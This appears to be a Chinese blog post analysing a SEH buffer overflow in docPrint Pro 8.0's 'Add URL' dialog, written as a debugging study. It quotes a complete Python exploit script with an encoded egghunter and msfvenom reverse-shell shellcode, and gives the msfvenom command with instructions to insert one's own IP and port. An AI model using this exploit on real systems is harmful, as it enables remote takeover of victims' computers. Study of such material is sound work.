docPrint pro8.0 buffer overflow漏洞分析
| 漏洞软件 | 操作系统 | 调试软件 | 脚本语言 |
| docPrint pro8.0 | winxp | ollydbg | python |
软件功能描述
- 文档打印管理:
- 支持控制打印输出,能节省墨水、纸张和时间。
- 支持打印2、4、6、8或16页,也支持单页纸打印。
- 支持大规模的A0、A1、A2、A3级文件,以及标准的信件或A4纸张的大小。
- 文档转换:
- docPrint Document Converter官方版支持将其他文档类型动态转换为多种格式,如Adobe Acrobat PDF、Postscript、XPS、PCL、EMF、WMF、JPEG、TIFF、PNG、PCX和BMP等。
- 转换功能包括Microsoft Word、RTF、HTML、Text、Excel、PowerPoint、Visio、AutoCAD drawings、Adobe PDF、PS、EPS等文件到PDF、Postscript、PS、EPS JPEG、TIFF、BMP、PCX、PNG、XPS、PCL等文件。
- PDF文件处理:
- 创建PDF档案从任何Windows应用程序,并支持印刷。
- 支持字体嵌入、分辨率和图像压缩。
- 支持密码保护PDF文件,具有40或128位加密,并可以设置文件的权限来限制打印、复制、修改等操作。
- 支持设置文档的标题、主题、作者和关键字。
- 用户界面与操作:
- 操作简单方便,支持从Windows资源管理器直接拖放文件进行转换。
- 支持在线文件名排序和批处理转换。
- 支持多显示器和多语言。
- 其他功能:
- 支持用户定义的页面大小和工作标准的Windows打印机设置DEVMODE结构。
- 支持亚洲语言的字符。
- Live支持超链接。
- 支持在线更新和免费升级给注册用户。
- 特定版本功能(如DocPrint4+):
- 专为iPad设计,提供PDF打印、图像打印、文本打印功能。
- 支持蓝牙连接和IP连接打印机。
- 可选择的打印机包括标签打印机和票据打印机。
- 修复PDF打印只能打印首页的问题。

当我们点击file并且点击Add URL输入长字符串之后就会发生缓冲区溢出
软件下载链接:点击这里
用olydbg开始调试
打开软件附加到调试器并开始执行,输入一位大神写的脚本
# Exploit Title: docPrint Pro 8.0 - 'Add URL' Buffer Overflow (SEH Egghunter)
# Date: 2020-07-26
# Exploit Author: MasterVlad
# Vendor Homepage: http://www.verypdf.com
# Software Link: http://dl.verypdf.net/docprint_pro_setup.exe
# Version: 8.0
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 32-bit
# Proof of Concept:
# 1. Run the python script
# 2. Open exploit.txt and copy the content to clipboard
# 3. Open doc2pdf_win.exe and go to File -> Add URL
# 4. Paste the clipboard into the field and click on Ok
#!/usr/bin/python
# encoded egghunter
egg = "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x54\x58\x66\x05\x44\x17\x50\x5c\x25\x4A"
egg += "\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x01\x7F\x01\x2D\x0B\x01\x7F\x01\x2D\x01\x16\x02\x15\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x7F\x01\x01\x2D\x50\x0B\x14\x4F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x7F\x01\x01\x2D\x51\x29\x73\x04\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x01\x2C\x50\x2D\x10\x46\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x45\x7B\x26\x0C\x2D\x7F\x7F\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x28\x01\x52\x2D\x7F\x7F\x31\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x72\x4D\x3D\x16\x2D\x7F\x70\x70\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x1A\x7B\x01\x7F\x2D\x7F\x01\x33\x7F\x2D\x01\x02\x01\x02\x50"
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d\x13\x14\x15\x16" -f py -e x86/alpha_mixed BufferRegister=EDI
buf = ""
buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x69\x6c\x68\x68\x6e\x62\x55\x50\x45\x50\x43\x30\x63"
buf += "\x50\x6e\x69\x6a\x45\x45\x61\x59\x50\x55\x34\x4e\x6b"
buf += "\x52\x70\x76\x50\x6c\x4b\x73\x62\x76\x6c\x6c\x4b\x70"
buf += "\x52\x42\x34\x6e\x6b\x43\x42\x75\x78\x64\x4f\x48\x37"
buf += "\x42\x6a\x71\x36\x65\x61\x39\x6f\x6e\x4c\x67\x4c\x53"
buf += "\x51\x71\x6c\x76\x62\x56\x4c\x67\x50\x79\x51\x78\x4f"
buf += "\x36\x6d\x43\x31\x79\x57\x6d\x32\x4c\x32\x72\x72\x66"
buf += "\x37\x6e\x6b\x72\x72\x56\x70\x6e\x6b\x32\x6a\x75\x6c"
buf += "\x4e\x6b\x62\x6c\x37\x61\x33\x48\x69\x73\x43\x78\x56"
buf += "\x61\x38\x51\x50\x51\x4e\x6b\x71\x49\x31\x30\x57\x71"
buf += "\x4b\x63\x6e\x6b\x71\x59\x37\x68\x68\x63\x57\x4a\x50"
buf += "\x49\x6e\x6b\x75\x64\x4e\x6b\x43\x31\x68\x56\x35\x61"
buf += "\x59\x6f\x6e\x4c\x69\x51\x48\x4f\x36\x6d\x55\x51\x6f"
buf += "\x37\x65\x68\x4b\x50\x70\x75\x69\x66\x73\x33\x51\x6d"
buf += "\x6a\x58\x35\x6b\x63\x4d\x76\x44\x54\x35\x4d\x34\x43"
buf += "\x68\x4e\x6b\x70\x58\x37\x54\x76\x61\x59\x43\x62\x46"
buf += "\x6c\x4b\x54\x4c\x72\x6b\x6e\x6b\x51\x48\x35\x4c\x35"
buf += "\x51\x79\x43\x6c\x4b\x43\x34\x6c\x4b\x63\x31\x68\x50"
buf += "\x6d\x59\x57\x34\x76\x44\x67\x54\x31\x4b\x51\x4b\x33"
buf += "\x51\x71\x49\x72\x7a\x50\x51\x79\x6f\x69\x70\x43\x6f"
buf += "\x63\x6f\x33\x6a\x6e\x6b\x65\x42\x48\x6b\x6c\x4d\x31"
buf += "\x4d\x50\x68\x45\x63\x55\x62\x73\x30\x75\x50\x30\x68"
buf += "\x44\x37\x73\x43\x45\x62\x43\x6f\x43\x64\x45\x38\x42"
buf += "\x6c\x53\x47\x46\x46\x63\x37\x69\x6f\x69\x45\x48\x38"
buf += "\x4a\x30\x45\x51\x57\x70\x55\x50\x67\x59\x49\x54\x70"
buf += "\x54\x32\x70\x42\x48\x44\x69\x6d\x50\x70\x6b\x67\x70"
buf += "\x79\x6f\x6b\x65\x66\x30\x30\x50\x70\x50\x32\x70\x43"
buf += "\x70\x72\x70\x67\x30\x62\x70\x75\x38\x58\x6a\x36\x6f"
buf += "\x49\x4f\x79\x70\x69\x6f\x48\x55\x4c\x57\x53\x5a\x56"
buf += "\x65\x52\x48\x79\x50\x79\x38\x4f\x54\x6d\x51\x52\x48"
buf += "\x43\x32\x53\x30\x63\x31\x4d\x6b\x6d\x59\x38\x66\x30"
buf += "\x6a\x66\x70\x43\x66\x53\x67\x61\x78\x5a\x39\x6e\x45"
buf += "\x72\x54\x33\x51\x59\x6f\x58\x55\x4b\x35\x59\x50\x44"
buf += "\x34\x66\x6c\x69\x6f\x32\x6e\x65\x58\x31\x65\x4a\x4c"
buf += "\x50\x68\x6a\x50\x68\x35\x39\x32\x73\x66\x49\x6f\x58"
buf += "\x55\x62\x48\x42\x43\x32\x4d\x73\x54\x57\x70\x6b\x39"
buf += "\x39\x73\x66\x37\x76\x37\x42\x77\x55\x61\x49\x66\x50"
buf += "\x6a\x54\x52\x73\x69\x70\x56\x78\x62\x49\x6d\x32\x46"
buf += "\x49\x57\x57\x34\x51\x34\x65\x6c\x53\x31\x65\x51\x4c"
buf += "\x4d\x52\x64\x61\x34\x32\x30\x6b\x76\x47\x70\x72\x64"
buf += "\x51\x44\x42\x70\x42\x76\x46\x36\x43\x66\x77\x36\x42"
buf += "\x76\x62\x6e\x32\x76\x71\x46\x70\x53\x46\x36\x33\x58"
buf += "\x61\x69\x58\x4c\x35\x6f\x6b\x36\x6b\x4f\x4b\x65\x4d"
buf += "\x59\x49\x70\x30\x4e\x31\x46\x33\x76\x6b\x4f\x66\x50"
buf += "\x71\x78\x43\x38\x4b\x37\x37\x6d\x73\x50\x6b\x4f\x4b"
buf += "\x65\x6f\x4b\x48\x70\x6c\x75\x4f\x52\x72\x76\x73\x58"
buf += "\x49\x36\x6e\x75\x4d\x6d\x4d\x4d\x59\x6f\x39\x45\x55"
buf += "\x6c\x63\x36\x53\x4c\x66\x6a\x4d\x50\x79\x6b\x6b\x50"
buf += "\x64\x35\x46\x65\x6f\x4b\x72\x67\x45\x43\x50\x72\x70"
buf += "\x6f\x32\x4a\x65\x50\x51\x43\x49\x6f\x59\x45\x41\x41"
exploit = "A"*3876
exploit += "\x74\x06\x75\x04"
# 0x1001062d - pop pop ret - reg.dll
exploit += "\x2d\x06\x01\x10"
exploit += egg
exploit += "D"*(10000-3884-len(egg)-len(buf)-8)
exploit += "T00WT00W"
exploit += buf
f = open("exploit.txt", "w")
f.write(exploit)
f.close()
如图所示:

这里由于往栈区中赋值时超过了栈空间发生了异常,但是此时的seh指针已被我们覆盖,所以这里会使用我们覆盖的地址去处理异常,我们提前过去下断点。

根据提示按shift+f7.

已经跳转到了覆盖的地址,可以发现这里是一个ppr地址,执行完刚好指向我们覆盖的egghunter的地址;
接下来解释一下egghunter,这也是第一次遇到这种技术,所以我做了详细的搜查:
用我的话来说就是已知一个可以知道固定地址的小空间中放入egghunter去其他更大的空间搜查更大的shellcode从而达到跳转。
下图是egghunter,总体来说比较精简

下图是他的汇编解释

前面很简单,重点在于int 0x2e,这个指令用于从用户态转到内核态,
scas这个指令用于循环扫描es:[edi]并比较是否与eax相等,如果相等就跳转到edi,也就是shellcode处。
但是我们会发现这里的egghunter与上述脚本中的不太一样,这是因为防止杀毒软件检测到egghunter,所以特地进行了加密。
我们一步步运行。

可以看到运行完毕之后,栈中就会出现真正的egghunter,一直运行到egghunter。

这里已经露出了真面目了。我们在最后JMP EDI下断点,然后运行

可以看到已经来到了shellcode处,看来是非常有用的.
shellcode是使用
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d\x13\x14\x15\x16" -f py -e x86/alpha_mixed BufferRegister=EDI
可以在kali上使用这个指令,并且将ip和port改成自己的,这样在执行了shellcode之后就会自动连接这个ip,这样靶机就被控制住了。
但是这里还是失败了。具体原因还不清楚。
分析的不足之处,
- 没有弄懂如何在windows10上复现,主要是int0x2e指令出现问题
- 没有弄懂为何cmp al,0x5
接下来一步一步继续分析:
为啥使用int 2e指令,就是接下来寻找shellcode会访问很多不确定的内存空间,需要内核的权限才可以.那么只需要使用指令转到内核态就可以了.

不知道这里为啥会出现这种问题,这个漏洞就先搁置一段时间,
总用时:2天

浙公网安备 33010602011771号